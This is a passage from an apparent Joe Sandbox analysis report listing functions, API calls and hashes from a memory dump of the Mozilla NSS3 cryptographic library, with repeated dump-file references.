DeleteCriticalSection.KERNEL32(?,?,?,?,6CBF518F,?,-00000001,?,6CBF61C4,?,6CBF5FA7), ref: 6CC487AB
free.MOZGLUE(?,?,6CBF518F,?,-00000001,?,6CBF61C4,?,6CBF5FA7), ref: 6CC487B2
DeleteCriticalSection.KERNEL32(0000000D,?,?,?,6CBF518F,?,-00000001,?,6CBF61C4,?,6CBF5FA7), ref: 6CC487CD
free.MOZGLUE(00000001,?,6CBF518F,?,-00000001,?,6CBF61C4,?,6CBF5FA7), ref: 6CC487D4
DeleteCriticalSection.KERNEL32(?,?,?,?,6CBF518F,?,-00000001,?,6CBF61C4,?,6CBF5FA7), ref: 6CC487E7
free.MOZGLUE(?,?,6CBF518F,?,-00000001,?,6CBF61C4,?,6CBF5FA7), ref: 6CC487EE

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 518aeab095338e022263f3f1b2469c65b77630ba9d26d0648a7485de17f8a6a4
Instruction ID: 5e55357c45d19b98c895ac5e149fc85492167116d72805bdc0a81c9db87eb147
Opcode Fuzzy Hash: 518aeab095338e022263f3f1b2469c65b77630ba9d26d0648a7485de17f8a6a4
Instruction Fuzzy Hash: 3701B5B5600A019BDA10FF64C84985777BCBE856A8310C629F76AC3A40E731F019CBD1

Function 6CC92E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6CC93046

Part of subcall function 6CC7EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC7EE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6CC67FFB), ref: 6CC9312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CC93154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC92E8B

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

Part of subcall function 6CC7F110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6CC69BFF,?,00000000,00000000), ref: 6CC7F134

memcpy.VCRUNTIME140(8B3C75C0,?,6CC67FFA), ref: 6CC92EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC9317B

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 390cd3db7dab74e855444a450bf5206166b28d92e8d59c7c6a251fb7c8e2eaef
Instruction ID: 701ce1c8687ed628209c308f93966e127e5c9e051154d1fabb7102b604520e32
Opcode Fuzzy Hash: 390cd3db7dab74e855444a450bf5206166b28d92e8d59c7c6a251fb7c8e2eaef
Instruction Fuzzy Hash: 48A1AD71A002289FDB24CF54CC94BEAB7B5EF45308F048199E989A7741E771AD45CFA1

Function 6CC5ED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6CC5ED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6CC5EDCE

Part of subcall function 6CC50BE0: malloc.MOZGLUE(6CC48D2D,?,00000000,?), ref: 6CC50BF8
Part of subcall function 6CC50BE0: TlsGetValue.KERNEL32(6CC48D2D,?,00000000,?), ref: 6CC50C15

free.MOZGLUE(00000000,?,?,?,?,6CC5B04F), ref: 6CC5EE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CC5EECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CC5EEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CC5EEFB

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: 535ff8c077da10ce7eb4539a11474326cc4fd26c6df4a29ee42e1b557dbfd5e9
Instruction ID: 55480b57f6fbf4bb4af7b92274dcada2340f1a5aa06f9840e753aad77c85035a
Opcode Fuzzy Hash: 535ff8c077da10ce7eb4539a11474326cc4fd26c6df4a29ee42e1b557dbfd5e9
Instruction Fuzzy Hash: 1E818AB1A002059FEB14CF59C884BABB7F5BF88308F54442CE9159B751EB79E834CBA5

Function 6CC5CCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC5C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CC5DAE2,?), ref: 6CC5C6C2

PR_Now.NSS3 ref: 6CC5CD35

Part of subcall function 6CCB9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CD00A27), ref: 6CCB9DC6
Part of subcall function 6CCB9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CD00A27), ref: 6CCB9DD1

Part of subcall function 6CC46C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CBF1C6F,00000000,00000004,?,?), ref: 6CC46C3F

PR_GetCurrentThread.NSS3 ref: 6CC5CD54

Part of subcall function 6CCB9BF0: TlsGetValue.KERNEL32(?,?,?,6CD00A75), ref: 6CCB9C07

Part of subcall function 6CC47260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CBF1CCC,00000000,00000000,?,?), ref: 6CC4729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC5CD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6CC5CE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6CC5CE2C

Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC510F3
Part of subcall function 6CC510C0: EnterCriticalSection.KERNEL32(?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5110C
Part of subcall function 6CC510C0: PL_ArenaAllocate.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51141
Part of subcall function 6CC510C0: PR_Unlock.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51182
Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6CC5CE40

Part of subcall function 6CC514C0: TlsGetValue.KERNEL32 ref: 6CC514E0
Part of subcall function 6CC514C0: EnterCriticalSection.KERNEL32 ref: 6CC514F5
Part of subcall function 6CC514C0: PR_Unlock.NSS3 ref: 6CC5150D

Part of subcall function 6CC5CEE0: PORT_ArenaMark_Util.NSS3(?,6CC5CD93,?), ref: 6CC5CEEE
Part of subcall function 6CC5CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CC5CD93,?), ref: 6CC5CEFC
Part of subcall function 6CC5CEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CC5CD93,?), ref: 6CC5CF0B
Part of subcall function 6CC5CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CC5CD93,?), ref: 6CC5CF1D

Part of subcall function 6CC5CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CC5CD93,?), ref: 6CC5CF47
Part of subcall function 6CC5CEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CC5CD93,?), ref: 6CC5CF67
Part of subcall function 6CC5CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6CC5CD93,?,?,?,?,?,?,?,?,?,?,?,6CC5CD93,?), ref: 6CC5CF78

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadZfree
String ID:
API String ID: 2342748994-0
Opcode ID: 13d701dc8e444fef3b2140bd18b81dc01bc38b3cb2e4c912e0d7f7aaa3afc8fe
Instruction ID: a4020d0a0bb95b1453ad1d53016f09072b76704d970ec5303c65d227f0408c50
Opcode Fuzzy Hash: 13d701dc8e444fef3b2140bd18b81dc01bc38b3cb2e4c912e0d7f7aaa3afc8fe
Instruction Fuzzy Hash: 6051ADB6B002009BEB10EF69DC44BAA73F4AF5C348F650524D949ABB40FB71E935CB95

Function 6CC566C0 Relevance: 9.1, APIs: 6, Instructions: 132memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CC566DF

Part of subcall function 6CC50FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CBF87ED,00000800,6CBEEF74,00000000), ref: 6CC51000
Part of subcall function 6CC50FF0: PR_NewLock.NSS3(?,00000800,6CBEEF74,00000000), ref: 6CC51016
Part of subcall function 6CC50FF0: PL_InitArenaPool.NSS3(00000000,security,6CBF87ED,00000008,?,00000800,6CBEEF74,00000000), ref: 6CC5102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000168), ref: 6CC566F9

Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC510F3
Part of subcall function 6CC510C0: EnterCriticalSection.KERNEL32(?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5110C
Part of subcall function 6CC510C0: PL_ArenaAllocate.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51141
Part of subcall function 6CC510C0: PR_Unlock.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51182
Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5119C

memset.VCRUNTIME140(00000000,00000000,00000168), ref: 6CC56728
PK11_GetInternalKeySlot.NSS3 ref: 6CC56788
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6CC567AD
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6CC567C1

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: ArenaUtil$Arena_Value$Alloc_AllocateCriticalEnterFreeInitInternalK11_LockOptionPoolSectionSlotUnlockcallocmemset
String ID:
API String ID: 3227582682-0
Opcode ID: 4464810e88e359ec8d92762be97bd8952a6a3564118e0d14d022fe0ca331d757
Instruction ID: 7f76f524bf81880c28130052708a616e37339a797356ab0d29fb6ae3b27609a7
Opcode Fuzzy Hash: 4464810e88e359ec8d92762be97bd8952a6a3564118e0d14d022fe0ca331d757
Instruction Fuzzy Hash: F55125B1E002188FDB00CF69C9817DA7BF4AB08748F48416AED08EB756E775D964CFA5

Function 6CC2EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6CC2EF38

Part of subcall function 6CC19520: PK11_IsLoggedIn.NSS3(00000000,?,6CC4379E,?,00000001,?), ref: 6CC19542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6CC2EF53

Part of subcall function 6CC34C20: TlsGetValue.KERNEL32 ref: 6CC34C4C
Part of subcall function 6CC34C20: EnterCriticalSection.KERNEL32(?), ref: 6CC34C60
Part of subcall function 6CC34C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CC34CA1
Part of subcall function 6CC34C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CC34CBE
Part of subcall function 6CC34C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CC34CD2
Part of subcall function 6CC34C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC34D3A

PR_GetCurrentThread.NSS3 ref: 6CC2EF9E

Part of subcall function 6CCB9BF0: TlsGetValue.KERNEL32(?,?,?,6CD00A75), ref: 6CCB9C07

free.MOZGLUE(00000000), ref: 6CC2EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC2F016
free.MOZGLUE(00000000), ref: 6CC2F022

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 787960dc618f3c870b703711c3097a2868796766a407ccd9ad95aae6caf907a1
Instruction ID: 65ac9eef6c2d0a4a8ebeb8a2a877be77caa51098653f14bfe83f63fb4bf19194
Opcode Fuzzy Hash: 787960dc618f3c870b703711c3097a2868796766a407ccd9ad95aae6caf907a1
Instruction Fuzzy Hash: 7B418571E00109AFDF019FA9DC85BEEBBB9AF48358F044029F914A6750F775C9158BA1

Function 6CC92640 Relevance: 9.1, APIs: 6, Instructions: 119COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,8B7874C0,?,?,?,00000000,?,?,?,6CC699E8,00000000,00000000,?,?,?,?), ref: 6CC9267E
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000000,?,?,?,6CC699E8,00000000,00000000,?,?,?,?), ref: 6CC9269D
memcpy.VCRUNTIME140(00000000,8B7874C0,?,?,?,?,?,?,00000000,?,?,?,6CC699E8,00000000,00000000,?), ref: 6CC926AC
PK11_AEADOp.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,00000000,00000000,6CC699E8), ref: 6CC92714
PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,?,?,?,6CC699E8,00000000,00000000,?,?,?,?,?), ref: 6CC92737
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CC92750

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: memcpy$ErrorK11_memset
String ID:
API String ID: 2328202073-0
Opcode ID: 1f6cd456a97f94cd7dc989a31fac7f5b9e8d9ee526f4b5a3fed1e70a6e563ff8
Instruction ID: 1e29e49015bc568cc98c1b985a0b679eb5804b48f111d5637d4db52515c2e5c3
Opcode Fuzzy Hash: 1f6cd456a97f94cd7dc989a31fac7f5b9e8d9ee526f4b5a3fed1e70a6e563ff8
Instruction Fuzzy Hash: 02417932A00108AFDF04DEA9CC94EEE77B9FF88308F554118F958A7A20E731E855CB90

Function 6CC0E400 Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000001,00000000,?,?,6CC13F23,?), ref: 6CC0E432
EnterCriticalSection.KERNEL32(?,?,00000001,00000000,?,?,6CC13F23,?), ref: 6CC0E44F

Part of subcall function 6CC12C40: TlsGetValue.KERNEL32(6CC13F23,?,6CC0E477,?,?,?,00000001,00000000,?,?,6CC13F23,?), ref: 6CC12C62
Part of subcall function 6CC12C40: EnterCriticalSection.KERNEL32(0000001C,?,6CC0E477,?,?,?,00000001,00000000,?,?,6CC13F23,?), ref: 6CC12C76
Part of subcall function 6CC12C40: PL_HashTableLookup.NSS3(00000000,?,?,6CC0E477,?,?,?,00000001,00000000,?,?,6CC13F23,?), ref: 6CC12C86
Part of subcall function 6CC12C40: PR_Unlock.NSS3(00000000,?,?,?,?,6CC0E477,?,?,?,00000001,00000000,?,?,6CC13F23,?), ref: 6CC12C93

TlsGetValue.KERNEL32(?,00000001,00000000,?,?,6CC13F23,?), ref: 6CC0E494
EnterCriticalSection.KERNEL32(?,?,00000001,00000000,?,?,6CC13F23,?), ref: 6CC0E4AD
PR_Unlock.NSS3(?,?,?,00000001,00000000,?,?,6CC13F23,?), ref: 6CC0E4D6
PR_Unlock.NSS3(?,?,?,00000001,00000000,?,?,6CC13F23,?), ref: 6CC0E52F

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 9ca3ee007dd99f70fb5b9e69883953c497846e1e40f75f7997f5258c9dcca42f
Instruction ID: dcc85aacaaa2ada13971e1d3632e002f7dc7c2b60f4ddaa888c1f9e8f674c405
Opcode Fuzzy Hash: 9ca3ee007dd99f70fb5b9e69883953c497846e1e40f75f7997f5258c9dcca42f
Instruction Fuzzy Hash: B64159B4A046058FDB00EFB8D18456ABBF4FF05304B05496DD9949BB11FB31E888CBE2

Function 6CC1CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6CC1CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6CC1D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6CC1D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC1D025
PR_NewLock.NSS3 ref: 6CC1D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CC1D074

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: 2ea1ff52852293bc4daad26dc73858de8e8f168eff520b66c75511454bbadc91
Instruction ID: 4e014a279a392ffa98905ba54df5cd4e5fc9907566b9341c8dcf4853ffe19b31
Opcode Fuzzy Hash: 2ea1ff52852293bc4daad26dc73858de8e8f168eff520b66c75511454bbadc91
Instruction Fuzzy Hash: 9641B4B0A053119FDB11DF2AC8847967BA4EF08358F118169EC1D8BF46F774D486DB91

Function 6CC065D0 Relevance: 9.1, APIs: 6, Instructions: 111memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(-00000007), ref: 6CC0660F

Part of subcall function 6CC50BE0: malloc.MOZGLUE(6CC48D2D,?,00000000,?), ref: 6CC50BF8
Part of subcall function 6CC50BE0: TlsGetValue.KERNEL32(6CC48D2D,?,00000000,?), ref: 6CC50C15

free.MOZGLUE(00000000), ref: 6CC06660
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6CC0667B
SGN_DecodeDigestInfo.NSS3(?), ref: 6CC0669B
SECOID_GetAlgorithmTag_Util.NSS3(-00000004), ref: 6CC066B0
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CC066C8

Part of subcall function 6CC325D0: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,-00000001,?,?,?,6CC0662E,?,?), ref: 6CC32670
Part of subcall function 6CC325D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,-00000001,?,?,?,6CC0662E,?), ref: 6CC32684
Part of subcall function 6CC325D0: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001), ref: 6CC326C2
Part of subcall function 6CC325D0: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001,?), ref: 6CC326E0
Part of subcall function 6CC325D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001), ref: 6CC326F4
Part of subcall function 6CC325D0: PR_Unlock.NSS3(?), ref: 6CC3274D

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: UtilValue$CriticalEnterSectionUnlock$AlgorithmAlloc_Arena_DecodeDigestErrorFreeInfoTag_freemalloc
String ID:
API String ID: 2025608128-0
Opcode ID: 69785bb67b4d619d680ce61d0ef510b7969ff7120f4679b6ac7a6ac60e9d313e
Instruction ID: e6ffab1b4ddb9045111a968bdb9a6d0692d0960ebab2825e331aa27af6c722f9
Opcode Fuzzy Hash: 69785bb67b4d619d680ce61d0ef510b7969ff7120f4679b6ac7a6ac60e9d313e
Instruction Fuzzy Hash: 103150B5E016199FDB00DFA8D881AAE77F8AF49358F144028ED19EB700F732D954CBA1

Function 6CC02E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6CBF2D1A), ref: 6CC02E7E

Part of subcall function 6CC507B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CBF8298,?,?,?,6CBEFCE5,?), ref: 6CC507BF
Part of subcall function 6CC507B0: PL_HashTableLookup.NSS3(?,?), ref: 6CC507E6
Part of subcall function 6CC507B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC5081B
Part of subcall function 6CC507B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC50825

PR_Now.NSS3 ref: 6CC02EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6CC02EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6CBF2D1A), ref: 6CC02F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CBF2D1A), ref: 6CC02F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CC02F81

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

